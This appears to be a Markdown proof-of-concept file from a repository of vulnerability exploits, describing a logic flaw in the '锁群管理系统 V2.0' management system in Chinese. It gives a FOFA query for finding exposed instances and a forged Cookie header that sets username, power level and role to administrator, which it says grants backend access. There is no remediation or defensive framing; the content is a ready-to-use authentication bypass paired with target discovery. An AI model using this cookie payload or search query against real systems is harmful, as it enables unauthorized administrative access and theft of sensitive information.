POC/wpoc/锁群管理系统/锁群管理系统存在逻辑缺陷漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

21 lines
641 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 锁群管理系统存在逻辑缺陷漏洞
锁群管理系统存在逻辑缺陷漏洞,攻击者可利用该漏洞获取敏感信息。
## fofa
```javascript
title=="锁群管理系统 V2.0"
```
![](https://cdn.nlark.com/yuque/0/2024/png/29512878/1733070567966-134a04c6-0e40-46c3-8d09-f9367f8ddc62.png)
## poc
cookie中添加如下内容即可进入后台
```javascript
Cookie: ASP.NET_SessionId=evadd1jksrepp4gtbgockcbi; username=admin; power=1; powerName=%e8%b6%85%e7%ba%a7%e7%ae%a1%e7%90%86%e5%91%98; code=admin
```
![](https://cdn.nlark.com/yuque/0/2024/png/29512878/1733070671832-06b3fd9e-545c-48f6-88e7-c8543c1a36b5.png)